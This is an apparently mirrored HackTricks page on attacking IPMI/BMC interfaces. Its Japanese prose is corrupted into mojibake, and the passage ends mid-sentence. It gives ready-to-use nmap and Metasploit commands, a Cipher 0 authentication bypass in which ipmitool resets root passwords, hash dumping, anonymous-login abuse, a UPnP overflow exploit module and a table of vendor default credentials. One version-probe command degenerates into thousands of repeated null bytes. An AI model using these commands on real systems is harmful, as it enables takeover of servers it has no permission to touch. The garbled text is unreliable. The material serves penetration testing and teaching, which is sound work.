mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
184 lines
26 KiB
Markdown
184 lines
26 KiB
Markdown
# 623/UDP/TCP - IPMI
|
||
|
||
## 623/UDP/TCP - IPMI
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>âïž HackTricks Cloud âïž</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>ðŠ Twitter ðŠ</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>ðïž Twitch ðïž</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>ð¥ Youtube ð¥</strong></a></summary>
|
||
|
||
* ããªãã¯**ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿ**ã§åããŠããŸããïŒ HackTricksã§ããªãã®**äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**PEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŸããããç§ãã¡ã®ç¬å çãª[**NFT**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³
|
||
* [**å
¬åŒã®PEASSïŒHackTricks swag**](https://peass.creator-spring.com)ãæã«å
¥ããŸããã
|
||
* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**telegramã°ã«ãŒã**](https://t.me/peass)ã«**åå **ãããã**Twitter**ã§**ãã©ããŒ**ããŠãã ãã[**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **ãããã³ã°ã®ããªãã¯ãå
±æãã**ããã«ã[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ãš** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ã«PRãæåºããŠãã ããã**
|
||
|
||
</details>
|
||
|
||
## åºæ¬æ
å ±
|
||
|
||
[Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`)ã¯ãã·ã¹ãã 管çãšç£èŠã«äœ¿çšãããããŒããŠã§ã¢ããŒã¹ã®ãã¹ã管çã·ã¹ãã ã®ããã®æšæºåãããä»æ§ã§ããIPMIã¯èªåŸçãªãµãã·ã¹ãã ãšããŠæ©èœãããã¹ãã®BIOSãCPUããã¡ãŒã ãŠã§ã¢ãããã³åºç€ãšãªããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãšã¯ç¬ç«ããŠåäœããŸããIPMIã¯ãã·ã¹ãã ãé»æºãªããŸãã¯å¿çããªãç¶æ
ã§ãã£ãŠããã·ã¹ãã 管çè
ãã·ã¹ãã ã管çããã³ç£èŠããèœåãæäŸããŸããIPMIã¯ãã·ã¹ãã ã®ããŒããŠã§ã¢ã«çŽæ¥ãããã¯ãŒã¯æ¥ç¶ã䜿çšããŠåäœãããã°ã€ã³ã·ã§ã«ãä»ãããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ã¯å¿
èŠãããŸãããIPMIã¯ãç©ççãªã¢ã¯ã»ã¹ãªãã§ã·ã¹ãã ã®ãªã¢ãŒãã¢ããã°ã¬ãŒãã«ã䜿çšã§ããŸããIPMIã¯éåžžã次ã®3ã€ã®æ¹æ³ã§äœ¿çšãããŸãïŒ
|
||
|
||
* OSãèµ·åããåã«BIOSèšå®ãå€æŽãããã
|
||
* ãã¹ããå®å
šã«é»æºãªãã®å Žå
|
||
* ã·ã¹ãã é害åŸã®ãã¹ããžã®ã¢ã¯ã»ã¹
|
||
|
||
ãããã®ã¿ã¹ã¯ã«äœ¿çšãããªãå ŽåãIPMIã¯ã·ã¹ãã ã®æž©åºŠãé»å§ããã¡ã³ã®ç¶æ
ãé»æºäŸçµŠãªã©ãããŸããŸãªãã®ãç£èŠããããšãã§ããŸãããŸããã€ã³ãã³ããªæ
å ±ã®ã¯ãšãªãããŒããŠã§ã¢ãã°ã®ç¢ºèªãSNMPã䜿çšããã¢ã©ãŒããè¡ãããšãã§ããŸãããã¹ãã·ã¹ãã ã¯é»æºãªãã«ãªã£ãŠããå Žåã§ããIPMIã¢ãžã¥ãŒã«ã«ã¯é»æºãšLANæ¥ç¶ãå¿
èŠã§ãã
|
||
|
||
IPMIãããã³ã«ã¯ãIntelã«ãã£ãŠ1998幎ã«åããŠå
¬éãããçŸåšã¯CiscoãDellãHPãSupermicroãIntelãªã©ãå«ã200以äžã®ã·ã¹ãã ãã³ããŒã«ãã£ãŠãµããŒããããŠããŸããIPMIããŒãžã§ã³2.0ã䜿çšããã·ã¹ãã ã¯ãã·ãªã¢ã«ãªãŒããŒLANãä»ããŠç®¡çã§ãããããã·ã¹ãã 管çè
ã¯ãã³ãå
ã§ã·ãªã¢ã«ã³ã³ãœãŒã«åºåã衚瀺ããããšãã§ããŸããIPMIã®åäœã«ã¯ã次ã®ã³ã³ããŒãã³ããå¿
èŠã§ãïŒ
|
||
|
||
* ããŒã¹ããŒã管çã³ã³ãããŒã©ïŒBMCïŒ- IPMIã®ãã€ã¯ãã³ã³ãããŒã©ãŒã§ãããå¿
é ã®ã³ã³ããŒãã³ãã§ã
|
||
* ã€ã³ããªãžã§ã³ãã·ã£ãŒã·ç®¡çãã¹ïŒICMBïŒ- 1ã€ã®ã·ã£ãŒã·ããå¥ã®ã·ã£ãŒã·ãžã®éä¿¡ãèš±å¯ããã€ã³ã¿ãŒãã§ãŒã¹
|
||
* ã€ã³ããªãžã§ã³ããã©ãããã©ãŒã 管çãã¹ïŒIPMBïŒ- BMCãæ¡åŒµããŸã
|
||
* IPMIã¡ã¢ãª- ã·ã¹ãã ã€ãã³ããã°ããªããžããªã¹ãã¢ããŒã¿ãªã©ãä¿åããŸã
|
||
* éä¿¡ã€ã³ã¿ãŒãã§ãŒã¹- ããŒã«ã«ã·ã¹ãã ã€ã³ã¿ãŒãã§ãŒã¹ãã·ãªã¢ã«ããã³LANã€ã³ã¿ãŒãã§ãŒã¹ãICMBããã³PCI管çãã¹
|
||
|
||
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||
|
||
**ããã©ã«ãããŒã**: 623/UDP/TCPïŒéåžžã¯UDPã§å®è¡ãããŸãããTCPã§å®è¡ãããå ŽåããããŸãïŒ
|
||
|
||
## åæ
|
||
|
||
### çºèŠ
|
||
```bash
|
||
nmap -n -p 623 10.0.0./24
|
||
nmap -n-sU -p 623 10.0.0./24
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
```
|
||
次ã®æ¹æ³ã§ããŒãžã§ã³ã**ç¹å®**ã§ããŸãïŒ
|
||
|
||
```plaintext
|
||
nmap -p 623 --script ipmi-version <target>
|
||
```
|
||
|
||
ãŸãã¯ã以äžã®ã³ãã³ãã䜿çšããŠããŒãžã§ã³ãååŸã§ããŸãïŒ
|
||
|
||
```plaintext
|
||
echo -e '\x06\x00\x00\x00\x00\x01\x00\x06\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
|
||
```bash
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||
```
|
||
### èåŒ±æ§ - æå·0ãä»ããIPMIèªèšŒãã€ãã¹
|
||
|
||
Dan Farmerã¯ãIPMI 2.0ä»æ§ã®é倧ãªäžåãç¹å®ããŸãããå
·äœçã«ã¯ãã¯ã©ã€ã¢ã³ããã¯ãªã¢ããã¹ãèªèšŒã䜿çšãããããšã瀺ãæå·ã¿ã€ã0ããå®éã«ã¯**ä»»æã®ãã¹ã¯ãŒãã§ã¢ã¯ã»ã¹ãèš±å¯**ããŠããŸããšãããã®ã§ããCipher 0ã®åé¡ã¯ãHPãDellãããã³Supermicro BMCã§ç¹å®ãããŸãããããããããã¹ãŠã®IPMI 2.0å®è£
ã«åœ±é¿ãåãŒããŠããå¯èœæ§ããããŸãã
|
||
ãã®åé¡ãæªçšããã«ã¯ããŸã**æå¹ãªãŠãŒã¶ãŒãèŠã€ãã**å¿
èŠããããŸãã
|
||
|
||
次ã®æ¹æ³ã§ãã®åé¡ã**ç¹å®**ããããšãã§ããŸãïŒ
|
||
```
|
||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||
```
|
||
ãããŠã`ipmitool`ã䜿çšããŠãã®åé¡ã**æªçš**ããããšãã§ããŸãïŒ
|
||
```bash
|
||
apt-get install ipmitool #Install
|
||
#Using -C 0 any password is accepted
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 root true true true ADMINISTRATOR
|
||
3 Oper1 true true true ADMINISTRATOR
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
|
||
```
|
||
### èåŒ±æ§ - IPMI 2.0 RAKPèªèšŒãªã¢ãŒããã¹ã¯ãŒãããã·ã¥ã®ååŸ
|
||
|
||
åºæ¬çã«ã**ãµãŒããŒã«å¯ŸããŠä»»æã®ãŠãŒã¶ãŒåã®ãœã«ãä»ãããã·ã¥åãããMD5ãšSHA1ãèŠæ±ããããšãã§ãããŠãŒã¶ãŒåãååšããå Žåããããã®ããã·ã¥ãéä¿¡ãããŸãã** ä¿¡ããããªãã»ã©çŽ æŽãããã§ããããããŠãããããã¹ãããããã®**ã¡ã¿ã¹ããã€ãã¢ãžã¥ãŒã«**ããããŸãïŒJohnãHashcat圢åŒã®åºåãéžæã§ããŸãïŒ:
|
||
```bash
|
||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||
```
|
||
_ãã®å Žåããã«ãŒããã©ãŒã¹æ»æã«äœ¿çšãããŠãŒã¶ãŒåã®ãªã¹ããå¿
èŠã§ãïŒMetasploitã«ã¯ããã©ã«ãã®ãŠãŒã¶ãŒåãå«ãŸããŠããŸãïŒã_
|
||
|
||
`ipmitool`ã䜿çšããŠèªèšŒããã€ãã¹ïŒ`-c 0`ïŒããã«ãŒããã¹ã¯ãŒããabc123ã«å€æŽããŸãïŒ
|
||
```
|
||
root@kali:~# apt-get install ipmitool
|
||
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 root true true true ADMINISTRATOR
|
||
3 Oper1 true true true ADMINISTRATOR
|
||
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
|
||
```
|
||
### èåŒ±æ§ - IPMIå¿åèªèšŒ
|
||
|
||
äžèšã®èªèšŒã®åé¡ã«å ããŠãDan Farmerã¯**å€ãã®BMCãããã©ã«ãã§ãå¿åãã¢ã¯ã»ã¹ãæå¹ã«ãªã£ãŠãã**ããšã«æ°ä»ããŸãããããã¯ãæåã®**ãŠãŒã¶ãŒ**ã¢ã«ãŠã³ãã®ãŠãŒã¶ãŒåã**空ã®æåå**ã«èšå®ãã**空ã®ãã¹ã¯ãŒã**ãèšå®ããããšã§æ§æãããŸãã_ipmi\_dumphashes_ã¢ãžã¥ãŒã«ã¯ãnullãŠãŒã¶ãŒã¢ã«ãŠã³ãã®ãã¹ã¯ãŒãããã·ã¥ïŒç©ºã®ãã¹ã¯ãŒããå«ãïŒãç¹å®ããŠãã³ãããŸãã**ãã®ã¢ã«ãŠã³ãã¯åç¬ã§ã¯äœ¿çšããã®ãé£ãããããããŸãããã`ipmitool`ãå©çšããŠååä»ããŠãŒã¶ãŒã¢ã«ãŠã³ãã®ãã¹ã¯ãŒãããªã»ãããããã®ã¢ã«ãŠã³ããä»ã®ãµãŒãã¹ãžã®ã¢ã¯ã»ã¹ã«å©çšããããšãã§ããŸã**ã
|
||
```bash
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
1 false false true ADMINISTRATOR
|
||
2 root false false true ADMINISTRATOR
|
||
3 admin true true true ADMINISTRATOR
|
||
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
|
||
```
|
||
### èåŒ±æ§ - Supermicro IPMIã®å¹³æãã¹ã¯ãŒã
|
||
|
||
IPMI 2.0ã®ä»æ§ã§ã¯ãBMCã¯SHA1ãMD5ãªã©ã®HMACããŒã¹ã®èªèšŒæ¹åŒã«å¿çããããšãæ±ããããŠããŸãããã®èªèšŒããã»ã¹ã«ã¯ã以åã®äŸã§ç€ºãããããã«ããã€ãã®æ·±å»ãªåŒ±ç¹ããããŸãããåæã«**èªèšŒããã·ã¥ãèšç®ããããã«å¹³æãã¹ã¯ãŒããžã®ã¢ã¯ã»ã¹ãå¿
èŠ**ã§ããã€ãŸããBMCã¯**èšå®ããããã¹ãŠã®ãŠãŒã¶ãŒãã¹ã¯ãŒãã®å¹³æããŒãžã§ã³ãéæ®çºæ§ã¹ãã¬ãŒãžã®ã©ããã«ä¿å**ããå¿
èŠããããŸãã**Supermicro**ã®å Žåããã®å Žæã¯ãã¡ãŒã ãŠã§ã¢ã®ããŒãžã§ã³ã«ãã£ãŠç°ãªããŸããã**`/nv/PSBlock`**ãŸãã¯**`/nv/PSStore`**ã®ããããã§ãããã¹ã¯ãŒãã¯ããŸããŸãªãã€ããªãããã«æ£ãã°ã£ãŠããŸããããŠãŒã¶ãŒåã®åŸã«å¿
ãç¶ããããå
±æãã¹ã¯ãŒãã䜿çšããçµç¹ãç°ãªãã¿ã€ãã®ããã€ã¹ã«ãšã£ãŠæ·±å»ãªåé¡ã§ãã
|
||
```bash
|
||
cat /nv/PSBlock
|
||
admin ADMINpassword^TT rootOtherPassword!
|
||
```
|
||
### èåŒ±æ§ - Supermicro IPMI UPnP
|
||
|
||
Supermicroã®æè¿ã®ãã¶ãŒããŒãã®IPMIãã¡ãŒã ãŠã§ã¢ã«ã¯ãUDPããŒã1900ã§å®è¡ããã**UPnP SSDPãªã¹ããŒ**ãå«ãŸããŠããŸããSMT\_X9\_218ããåã®ããŒãžã§ã³ã§ã¯ããã®ãµãŒãã¹ã¯Intel SDK for UPnP Devicesã®ããŒãžã§ã³1.3.1ãå®è¡ããŠããŸããããã®ããŒãžã§ã³ã¯ã2013幎2æã«Rapid7ãå
¬éãã[åé¡](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)ã«å¯ŸããŠè匱ã§ãããã®ãã©ãããã©ãŒã ãžã®ãšã¯ã¹ããã€ãã¯ãMetasploit Frameworkã®äžéšãšããŠæäŸãããŠããŸãããã®æ»æã®èå³æ·±ãç¹ã¯ãããã«ãã£ãŠ**BMCãžã®å®å
šãªã«ãŒãã¢ã¯ã»ã¹**ãåŸãããããšã§ããããã¯ä»ã®æ¹æ³ã§ã¯é£ããããšã§ãã管çè
ã¢ã¯ã»ã¹æš©éãæã€æ»æè
ã¯ããããã¯ãŒã¯çµç±ãŸãã¯ãã¹ãã·ã¹ãã ã®ã«ãŒãã·ã§ã«ãããSupermicro BMCã®ãã¡ãŒã ãŠã§ã¢ãè匱ãªããŒãžã§ã³ã«ããŠã³ã°ã¬ãŒãããŠãããšã¯ã¹ããã€ãããããšãã§ããŸãã**root**ã¢ã¯ã»ã¹ã**ååŸ**ããããšããã¡ã€ã«ã·ã¹ãã ãã**ã¯ãªã¢ããã¹ãã®è³æ Œæ
å ±**ã**èªã¿åã**ããšãã§ããè¿œå ã®**ãœãããŠã§ã¢**ã**ã€ã³ã¹ããŒã«**ãããã¹ãã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®å®å
šãªåã€ã³ã¹ããŒã«ã«ãèãã**ããã¯ãã¢**ãBMCã«çµ±åããããšãå¯èœã§ãã
|
||
```bash
|
||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||
```
|
||
### Brute ForceïŒãã«ãŒããã©ãŒã¹æ»æïŒ
|
||
|
||
ãã ããHPã®ã¿ã補é ããã»ã¹äžã«ãã¹ã¯ãŒããã©ã³ãã åããŠããŸãã
|
||
|
||
| 補åå | ããã©ã«ãã®ãŠãŒã¶ãŒå | ããã©ã«ãã®ãã¹ã¯ãŒã |
|
||
| --------------------------------------------------- | ---------------- | ---------------------------------------- |
|
||
| **HP Integrated Lights Out (iLO)** | Administrator | \<å·¥å Žã§ã©ã³ãã åããã8æåã®æåå> |
|
||
| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin |
|
||
| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RDïŒãŒãã䜿çšïŒ |
|
||
| **Fujitsu Integrated Remote Management Controller** | admin | admin |
|
||
| **Supermicro IPMI (2.0)** | ADMIN | ADMIN |
|
||
| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme |
|
||
| **ASUS iKVM BMC** | admin | admin |
|
||
|
||
## BMCãããã¹ããžã®æ»æ
|
||
|
||
BMCãžã®ç®¡çã¢ã¯ã»ã¹ãååŸãããå Žåããã¹ããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ãååŸããããã«äœ¿çšã§ããããã€ãã®æ¹æ³ããããŸããæãçŽæ¥çãªæ¹æ³ã¯ãBMCã®KVMæ©èœãæªçšããŠãã¹ããåèµ·åããã«ãŒãã·ã§ã«ïŒGRUBã§init=/bin/shïŒã«ã¢ã¯ã»ã¹ããããä»®æ³CD-ROMãšããŠã¬ã¹ãã¥ãŒãã£ã¹ã¯ãæå®ããŠèµ·åããããšã§ãããã¹ãã®ãã£ã¹ã¯ãžã®çŽæ¥ã¢ã¯ã»ã¹ãååŸããããšãããã¯ãã¢ãå°å
¥ããããããŒããã©ã€ãããããŒã¿ãã³ããŒããããã»ãã¥ãªãã£è©äŸ¡ã®äžç°ãšããŠå¿
